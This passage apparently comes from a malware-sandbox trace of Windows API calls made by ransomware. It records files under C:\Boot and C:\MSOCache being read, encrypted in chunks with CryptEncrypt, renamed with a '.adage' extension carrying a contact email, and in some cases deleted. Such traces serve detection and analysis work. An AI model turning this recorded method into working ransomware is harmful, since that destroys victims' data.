[0050.130] CloseHandle (hObject=0x174) returned 1 [0050.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20 [0050.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0050.130] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.130] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0050.131] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0050.131] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=87104) returned 1 [0050.131] CloseHandle (hObject=0x174) returned 1 [0050.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20 [0050.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0050.131] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.131] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0050.131] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0050.131] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=70720) returned 1 [0050.131] CloseHandle (hObject=0x174) returned 1 [0050.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20 [0050.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0050.132] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.132] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0050.132] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0050.132] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=70224) returned 1 [0050.132] CloseHandle (hObject=0x174) returned 1 [0050.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui")) returned 0x20 [0050.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0050.132] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.132] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0050.132] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0050.133] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=70208) returned 1 [0050.133] CloseHandle (hObject=0x174) returned 1 [0050.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui")) returned 0x20 [0050.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0050.133] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.133] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0050.133] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0050.134] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=383786) returned 1 [0050.134] CloseHandle (hObject=0x174) returned 1 [0050.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0050.134] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0050.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\bootmgr.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0050.134] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.134] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x27) returned 0 [0050.134] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0050.135] CreateFileW (lpFileName="\\\\?\\C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.135] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0050.135] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Office64WW.msi" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\office64ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0050.136] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=3944448) returned 1 [0050.136] CloseHandle (hObject=0x174) returned 1 [0050.136] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Office64WW.msi" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\office64ww.msi")) returned 0x2020 [0050.137] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Office64WW.msi" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\office64ww.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Office64WW.msi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\office64ww.msi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 1 [0050.655] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\Office64WW.msi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\office64ww.msi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0050.655] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0050.656] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0050.656] ReadFile (in: hFile=0x174, lpBuffer=0x3450058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304f7a4, lpOverlapped=0x0 | out: lpBuffer=0x3450058*, lpNumberOfBytesRead=0x304f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0050.752] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x141000, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0050.755] ReadFile (in: hFile=0x174, lpBuffer=0x3490058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304f7a4, lpOverlapped=0x0 | out: lpBuffer=0x3490058*, lpNumberOfBytesRead=0x304f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0050.939] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x383000, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0050.951] ReadFile (in: hFile=0x174, lpBuffer=0x34d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304f7a4, lpOverlapped=0x0 | out: lpBuffer=0x34d0058*, lpNumberOfBytesRead=0x304f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0051.466] CryptImportKey (in: hProv=0x4c5018, pbData=0x304f788*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x304f7f4 | out: phKey=0x304f7f4*=0x4d5308) returned 1 [0051.467] CryptSetKeyParam (hKey=0x4d5308, dwParam=0x1, pbData=0x304f890, dwFlags=0x0) returned 1 [0051.467] CryptEncrypt (in: hKey=0x4d5308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3450020*, pdwDataLen=0x304f7a8*=0xc0060, dwBufLen=0xc0060 | out: pbData=0x3450020*, pdwDataLen=0x304f7a8*=0xc0060) returned 1 [0051.474] CryptDestroyKey (hKey=0x4d5308) returned 1 [0051.474] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f7d0 | out: lpNewFilePointer=0x0) returned 1 [0051.474] WriteFile (in: hFile=0x174, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x304f7e0, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x304f7e0*=0xc0112, lpOverlapped=0x0) returned 1 [0051.772] SetEndOfFile (hFile=0x174) returned 1 [0051.776] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x383000, lpNewFilePointer=0x0, dwMoveMethod=0x304f7a0 | out: lpNewFilePointer=0x0) returned 1 [0051.776] WriteFile (in: hFile=0x174, lpBuffer=0x351014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304f7ac, lpOverlapped=0x0 | out: lpBuffer=0x351014a*, lpNumberOfBytesWritten=0x304f7ac*=0x40000, lpOverlapped=0x0) returned 1 [0051.779] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x141000, lpNewFilePointer=0x0, dwMoveMethod=0x304f7a0 | out: lpNewFilePointer=0x0) returned 1 [0051.779] WriteFile (in: hFile=0x174, lpBuffer=0x351014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304f7ac, lpOverlapped=0x0 | out: lpBuffer=0x351014a*, lpNumberOfBytesWritten=0x304f7ac*=0x40000, lpOverlapped=0x0) returned 1 [0051.782] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f7a0 | out: lpNewFilePointer=0x0) returned 1 [0051.782] WriteFile (in: hFile=0x174, lpBuffer=0x351014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304f7ac, lpOverlapped=0x0 | out: lpBuffer=0x351014a*, lpNumberOfBytesWritten=0x304f7ac*=0x40000, lpOverlapped=0x0) returned 1 [0051.784] CloseHandle (hObject=0x174) returned 1 [0052.354] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0052.354] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\OWOW64WW.cab" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\owow64ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0052.992] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=30592188) returned 1 [0052.992] CloseHandle (hObject=0x188) returned 1 [0052.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\OWOW64WW.cab" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\owow64ww.cab")) returned 0x2020 [0052.993] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\OWOW64WW.cab" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\owow64ww.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\OWOW64WW.cab.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\owow64ww.cab.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 1 [0052.993] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\OWOW64WW.cab.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\owow64ww.cab.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0052.993] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0052.993] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0052.993] ReadFile (in: hFile=0x188, lpBuffer=0x3450058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304f7a4, lpOverlapped=0x0 | out: lpBuffer=0x3450058*, lpNumberOfBytesRead=0x304f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0053.002] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x9b9994, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0053.002] ReadFile (in: hFile=0x188, lpBuffer=0x3490058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304f7a4, lpOverlapped=0x0 | out: lpBuffer=0x3490058*, lpNumberOfBytesRead=0x304f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0053.015] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x1ceccbc, lpNewFilePointer=0x0, dwMoveMethod=0x304f798 | out: lpNewFilePointer=0x0) returned 1 [0053.015] ReadFile (in: hFile=0x188, lpBuffer=0x34d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304f7a4, lpOverlapped=0x0 | out: lpBuffer=0x34d0058*, lpNumberOfBytesRead=0x304f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0053.058] CryptImportKey (in: hProv=0x4c5018, pbData=0x304f788*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x304f7f4 | out: phKey=0x304f7f4*=0x4d8860) returned 1 [0053.058] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x304f890, dwFlags=0x0) returned 1 [0053.058] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3450020*, pdwDataLen=0x304f7a8*=0xc0060, dwBufLen=0xc0060 | out: pbData=0x3450020*, pdwDataLen=0x304f7a8*=0xc0060) returned 1 [0053.066] CryptDestroyKey (hKey=0x4d8860) returned 1 [0053.066] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f7d0 | out: lpNewFilePointer=0x0) returned 1 [0053.066] WriteFile (in: hFile=0x188, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x304f7e0, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x304f7e0*=0xc0112, lpOverlapped=0x0) returned 1 [0053.079] SetEndOfFile (hFile=0x188) returned 1 [0053.079] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x1ceccbc, lpNewFilePointer=0x0, dwMoveMethod=0x304f7a0 | out: lpNewFilePointer=0x0) returned 1 [0053.079] WriteFile (in: hFile=0x188, lpBuffer=0x351014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304f7ac, lpOverlapped=0x0 | out: lpBuffer=0x351014a*, lpNumberOfBytesWritten=0x304f7ac*=0x40000, lpOverlapped=0x0) returned 1 [0053.081] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x9b9994, lpNewFilePointer=0x0, dwMoveMethod=0x304f7a0 | out: lpNewFilePointer=0x0) returned 1 [0053.081] WriteFile (in: hFile=0x188, lpBuffer=0x351014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304f7ac, lpOverlapped=0x0 | out: lpBuffer=0x351014a*, lpNumberOfBytesWritten=0x304f7ac*=0x40000, lpOverlapped=0x0) returned 1 [0053.082] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f7a0 | out: lpNewFilePointer=0x0) returned 1 [0053.082] WriteFile (in: hFile=0x188, lpBuffer=0x351014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304f7ac, lpOverlapped=0x0 | out: lpBuffer=0x351014a*, lpNumberOfBytesWritten=0x304f7ac*=0x40000, lpOverlapped=0x0) returned 1 [0053.083] CloseHandle (hObject=0x188) returned 1 [0055.053] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0055.053] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0055.053] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=590523) returned 1 [0055.053] CloseHandle (hObject=0x188) returned 1 [0055.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0055.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.053] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0055.054] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f7c8 | out: lpNewFilePointer=0x0) returned 1 [0055.054] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304f7c8 | out: lpNewFilePointer=0x0) returned 1 [0055.054] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0055.054] CryptImportKey (in: hProv=0x4c5018, pbData=0x304f780*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x304f7dc | out: phKey=0x304f7dc*=0x4d88a0) returned 1 [0055.054] CryptSetKeyParam (hKey=0x4d88a0, dwParam=0x1, pbData=0x304f890, dwFlags=0x0) returned 1 [0055.054] ReadFile (in: hFile=0x188, lpBuffer=0x3450020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x304f804, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesRead=0x304f804*=0x902bb, lpOverlapped=0x0) returned 1 [0055.073] CryptEncrypt (in: hKey=0x4d88a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3450020*, pdwDataLen=0x304f7a0*=0x902c0, dwBufLen=0x902c0 | out: pbData=0x3450020*, pdwDataLen=0x304f7a0*=0x902c0) returned 1 [0055.080] WriteFile (in: hFile=0x194, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0x902c0, lpNumberOfBytesWritten=0x304f7e8, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x304f7e8*=0x902c0, lpOverlapped=0x0) returned 1 [0055.091] CryptImportKey (in: hProv=0x4c5018, pbData=0x304f774*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x304f7e0 | out: phKey=0x304f7e0*=0x4d8860) returned 1 [0055.091] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x304f890, dwFlags=0x0) returned 1 [0055.091] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3450020*, pdwDataLen=0x304f7a0*=0x60, dwBufLen=0x60 | out: pbData=0x3450020*, pdwDataLen=0x304f7a0*=0x60) returned 1 [0055.091] CryptDestroyKey (hKey=0x4d8860) returned 1 [0055.091] WriteFile (in: hFile=0x194, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x304f7e8, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x304f7e8*=0x112, lpOverlapped=0x0) returned 1 [0055.091] CryptDestroyKey (hKey=0x4d88a0) returned 1 [0055.091] CloseHandle (hObject=0x188) returned 1 [0055.091] CloseHandle (hObject=0x194) returned 1 [0055.238] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0055.249] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0055.250] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ProPsWW.cab" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\propsww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0055.311] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=323578974) returned 1 [0055.311] CloseHandle (hObject=0x188) returned 1 [0055.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ProPsWW.cab" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\propsww.cab")) returned 0x2020 [0055.311] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ProPsWW.cab" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\propsww.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ProPsWW.cab.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\propsww.cab.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 1 [0055.312] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All 